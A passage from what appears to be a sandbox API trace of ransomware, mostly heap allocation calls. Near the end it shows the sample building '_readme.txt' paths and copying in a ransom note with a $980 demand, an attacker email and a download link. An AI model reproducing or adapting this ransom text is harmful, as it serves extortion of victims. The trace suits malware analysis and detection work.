(HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.231] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.231] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.231] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.231] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.231] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.231] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.231] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.231] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.231] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.231] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.231] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.231] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.231] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.232] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.232] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.232] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.232] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.232] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.232] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.232] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.232] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.232] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.232] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.232] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.232] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.232] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.232] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.232] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.232] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.232] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.232] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.232] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.232] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.232] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.232] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.233] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.233] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.233] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.233] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.233] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.233] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.233] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.233] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.233] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.233] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.233] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.233] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.233] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.233] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.233] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.233] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.233] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.233] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.233] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.233] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.233] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.233] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.233] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.234] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.234] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.234] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.234] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.234] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.234] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.234] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.234] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.234] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.234] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.234] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.234] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.234] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.234] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.234] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.234] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.234] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.234] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.234] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.234] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.234] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.234] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.234] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.234] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.234] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.234] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.234] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.234] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.234] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.234] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.234] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.234] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.234] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.234] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.234] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.234] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.234] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.234] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.234] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.234] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.234] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.234] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.235] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.235] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.235] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.235] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.235] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.235] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.235] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.235] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.235] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.235] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.235] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.235] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.235] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.235] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.235] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.235] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.235] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.235] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.235] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.235] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.235] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.235] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.236] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.236] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.236] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.236] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.236] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.236] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.236] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.236] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.236] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.236] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.236] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.236] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.236] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.236] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.236] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.236] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.236] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.236] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.236] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.236] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.236] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.236] PathFindFileNameW (pszPath="C:\\Boot\\fr-FR\\") returned="fr-FR\\" [0124.236] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.236] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.236] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.236] PathFindFileNameW (pszPath="") returned="" [0124.236] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.236] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.236] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.237] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x800) returned 0x3ae1ff0 [0124.237] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.237] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x3ae27f8 [0124.237] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.237] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.237] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0124.237] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.237] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.237] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 0 [0124.238] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7d00) returned 0x3ae3bf0 [0124.238] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable 